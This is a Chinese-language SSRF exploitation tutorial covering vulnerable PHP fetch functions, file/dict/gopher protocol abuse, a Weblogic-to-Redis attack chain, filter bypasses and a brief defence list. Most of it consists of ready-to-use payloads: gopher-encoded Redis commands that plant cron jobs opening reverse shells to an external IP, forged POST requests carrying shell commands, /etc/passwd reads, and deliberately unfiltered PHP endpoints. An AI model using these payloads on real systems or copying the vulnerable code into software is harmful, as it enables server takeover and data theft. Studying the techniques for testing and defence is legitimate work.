SSRF漏洞的利用与攻击内网应用实战
字数 1884 2025-08-20 18:17:31
SSRF漏洞的利用与攻击内网应用实战
0x00 前言
SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成由服务端发起请求的安全漏洞。与CSRF(跨站请求伪造)不同,SSRF是基于服务端的请求伪造,能够请求到与服务器相连而与外网隔离的内网资源。
0x01 SSRF漏洞简介
1. SSRF漏洞概述
SSRF漏洞允许攻击者诱导服务器端应用程序向攻击者选择的任意域发出HTTP请求,主要危害在于:
- 攻击目标是从外网无法访问的内部系统
- 利用网络请求服务作为跳板进行攻击
- 能够绕过防火墙等访问控制措施
2. SSRF漏洞产生原因
SSRF形成的主要原因:
- 服务端提供了从其他服务器获取数据的功能
- 没有对目标地址做充分的过滤与限制
- 常见于以下功能场景:
- 转码服务
- 在线翻译
- 图片加载与下载
- 内容采集/网页抓取
- 头像远程加载
- 任何需要输入URL或IP的地方
3. SSRF漏洞利用场景
利用SSRF可以实现多种攻击:
- 对外网、内网、本地进行端口扫描,获取服务banner信息
- 攻击运行在内网或本地的应用程序
- 对内网WEB应用进行指纹识别
- 利用已知漏洞攻击内外网web应用(如Struts2、SQLi等)
- 下载内网资源(利用file协议读取本地文件)
- 作为攻击跳板
- 绕过CDN
- 利用Redis未授权访问、HTTP CRLF注入实现getshell
0x02 SSRF漏洞相关函数和协议
1. 易导致SSRF的危险函数
file_get_contents()fsockopen()curl_exec()fopen()readfile()
(1) file_get_contents()示例
<?php
$url = $_GET['url'];
echo file_get_contents($url);
?>
(2) fsockopen()示例
<?php
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
(3) curl_exec()示例
<?php
if (isset($_POST['url'])){
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj, CURLOPT_URL, $link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
2. SSRF利用的关键协议
-
file协议:在有回显的情况下,可以读取任意文件内容
curl -vvv 'file:///etc/passwd' -
dict协议:泄露软件版本信息,查看端口,操作内网redis服务等
curl -vvv 'dict://127.0.0.1:6379/info' -
gopher协议:最强大的SSRF利用协议,支持GET/POST请求,可用于反弹shell
curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/4444 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a' -
http/s协议:探测内网主机存活
0x03 SSRF漏洞利用实战
1. 本地利用示例
(1) 使用file协议读取任意文件
curl -vvv 'file:///etc/passwd'
(2) 使用dict协议获取Redis配置
curl -vvv 'dict://127.0.0.1:6379/info'
(3) 使用gopher协议攻击Redis
curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/4444 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'
2. 远程利用实战
环境准备
- 攻击机IP:192.168.201.129、121.36.67.230
- 远程服务器IP:39.x.x.x
- Docker镜像:ssrf_redis
- PHP版本:PHP 7.2.28
示例代码
ssrf.php:
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
?>
post.php:
<html>
<head><title>post</title></head>
<body>
<?php echo $_REQUEST[cmd]; ?>
</body>
</html>
利用方式
- 利用file协议读取文件
curl -v 'http://39.x.x.x:8000/ssrf.php?url=file:///etc/passwd'
- 利用dict协议探测服务
curl -v 'http://39.x.x.x:8000/ssrf.php?url=dict://127.0.0.1:22/'
- 利用gopher协议攻击Redis
curl -v 'http://39.x.x.x:8000/ssrf.php?url=gopher://192.168.1.4:6379/_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f121.36.67.230%2f5555%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'
- 伪造POST请求反弹shell
curl -v 'http://39.x.x.x:8000/ssrf.php?url=gopher://192.168.1.5:80/_POST%20/post.php%20HTTP/1.1%250d%250aHost:%2039.105.93.165%250d%250aUser-Agent:%20curl/7.58.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd%3Dccccc%250d%250a%250d%250abash%20-i%20%3E%26%20%2fdev%2ftcp%2f121.36.67.230%2f4444%200%3E%261'
- 利用http/s协议探测内网主机
curl -v 'http://39.x.x.x:8000/ssrf.php?url=http://192.168.1.3'
0x04 SSRF攻击应用实战
1. Weblogic SSRF攻击Redis
环境搭建:
git clone https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
cd vulhub/weblogic/ssrf
docker-compose build
docker-compose up -d
漏洞存在于:
http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
攻击步骤:
- 探测端口开放情况:
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
- 探测内网主机存活:
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.1.1
- 攻击Redis反弹shell:
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F121.36.67.230%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
0x05 SSRF漏洞绕过技术
1. 常用绕过方法
-
使用@符号:
http://abc@127.0.0.1 http://8.8.8.8@127.0.0.1:8080 http://127.0.0.1#8.8.8.8 -
利用[::]:
http://[::]:80/ → http://127.0.0.1 -
添加端口号:
http://127.0.0.1:8080 -
利用短网址服务:
- 站长工具短网址
- 百度短网址
-
利用特殊域名:
127.0.0.1.xip.io → 127.0.0.1 -
DNS解析:
设置A记录指向127.0.0.1 -
进制转换:
- 八进制:0177.0.0.1
- 十六进制:0x7f.0.0.1
- 十进制:2130706433
-
使用句号:
127。0。0。1 → 127.0.0.1 -
302跳转:
使用https://tinyurl.com生成302跳转地址
2. 针对特定限制的绕过
-
限制为特定域名:
http://www.xxx.com@www.xxc.com -
限制IP不为内网地址:
- 使用短网址
- 使用特殊域名
- 进制转换
-
限制请求只为http协议:
- 302跳转
- 短地址
0x06 SSRF漏洞防御措施
- 禁用危险协议:如file://、gopher://、dict://等,仅允许http和https
- 统一错误信息:防止通过错误信息判断端口状态
- 限制跳转:禁止302跳转,或每次跳转检查新Host是否为内网IP
- 设置白名单:限制URL或IP白名单
- 验证用户输入:严格校验用户提供的URL
- 使用网络层防护:限制服务器出网流量
0x07 总结
SSRF漏洞危害严重,能够穿透网络边界攻击内网系统。攻击者可以利用各种协议和绕过技术实施攻击,防御需要从代码层和网络层多维度进行防护。开发过程中应特别注意所有涉及外部资源请求的功能点,实施严格的输入验证和访问控制。